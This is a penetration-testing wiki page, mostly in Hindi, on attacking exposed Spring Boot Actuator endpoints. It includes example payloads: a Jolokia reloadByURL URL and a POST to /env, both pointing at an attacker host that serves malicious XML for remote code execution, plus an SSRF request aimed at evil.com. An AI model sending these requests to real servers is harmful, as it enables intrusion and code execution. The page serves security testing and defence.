# Spring Actuators {{#include ../../banners/hacktricks-training.md}} ## **Spring Auth Bypass**
**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* ## Exploiting Spring Boot Actuators **Check the original post from** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Key Points:** - Spring Boot Actuators ऐसे एंडपॉइंट्स रजिस्टर करते हैं जैसे कि `/health`, `/trace`, `/beans`, `/env`, आदि। संस्करण 1 से 1.4 में, ये एंडपॉइंट्स बिना प्रमाणीकरण के उपलब्ध हैं। संस्करण 1.5 से आगे, केवल `/health` और `/info` डिफ़ॉल्ट रूप से गैर-संवेदनशील हैं, लेकिन डेवलपर्स अक्सर इस सुरक्षा को बंद कर देते हैं। - कुछ Actuator एंडपॉइंट्स संवेदनशील डेटा को उजागर कर सकते हैं या हानिकारक क्रियाओं की अनुमति दे सकते हैं: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, और `/heapdump`। - Spring Boot 1.x में, एक्ट्यूएटर्स को रूट URL के तहत रजिस्टर किया जाता है, जबकि 2.x में, ये `/actuator/` बेस पथ के तहत होते हैं। ### **Exploitation Techniques:** 1. **Remote Code Execution via '/jolokia'**: - `/jolokia` एक्ट्यूएटर एंडपॉइंट Jolokia लाइब्रेरी को उजागर करता है, जो MBeans तक HTTP पहुंच की अनुमति देता है। - `reloadByURL` क्रिया का उपयोग लॉगिंग कॉन्फ़िगरेशन को एक बाहरी URL से फिर से लोड करने के लिए किया जा सकता है, जो अंधे XXE या कस्टम XML कॉन्फ़िगरेशन के माध्यम से रिमोट कोड निष्पादन की ओर ले जा सकता है। - उदाहरण एक्सप्लॉइट URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`। 2. **Config Modification via '/env'**: - यदि Spring Cloud Libraries मौजूद हैं, तो `/env` एंडपॉइंट पर्यावरणीय गुणों में संशोधन की अनुमति देता है। - गुणों का हेरफेर करके कमजोरियों का लाभ उठाया जा सकता है, जैसे कि Eureka serviceURL में XStream deserialization की कमजोरी। - उदाहरण एक्सप्लॉइट POST अनुरोध: ``` POST /env HTTP/1.1 Host: 127.0.0.1:8090 Content-Type: application/x-www-form-urlencoded Content-Length: 65 eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Other Useful Settings**: - गुण जैसे `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, और `spring.datasource.tomcat.max-active` का हेरफेर विभिन्न एक्सप्लॉइट्स के लिए किया जा सकता है, जैसे SQL injection या डेटाबेस कनेक्शन स्ट्रिंग्स को बदलना। ### **Additional Information:** - डिफ़ॉल्ट एक्ट्यूएटर्स की एक व्यापक सूची [यहां](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt) पाई जा सकती है। - Spring Boot 2.x में `/env` एंडपॉइंट गुण संशोधन के लिए JSON प्रारूप का उपयोग करता है, लेकिन सामान्य अवधारणा समान रहती है। ### **Related Topics:** 1. **Env + H2 RCE**: - `/env` एंडपॉइंट और H2 डेटाबेस के संयोजन का लाभ उठाने के विवरण [यहां](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) पाया जा सकता है। 2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: - Spring फ्रेमवर्क का HTTP पथनामों में मैट्रिक्स पैरामीटर (`;`) को संभालने का तरीका सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए उपयोग किया जा सकता है। - उदाहरण एक्सप्लॉइट अनुरोध: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` {{#include ../../banners/hacktricks-training.md}}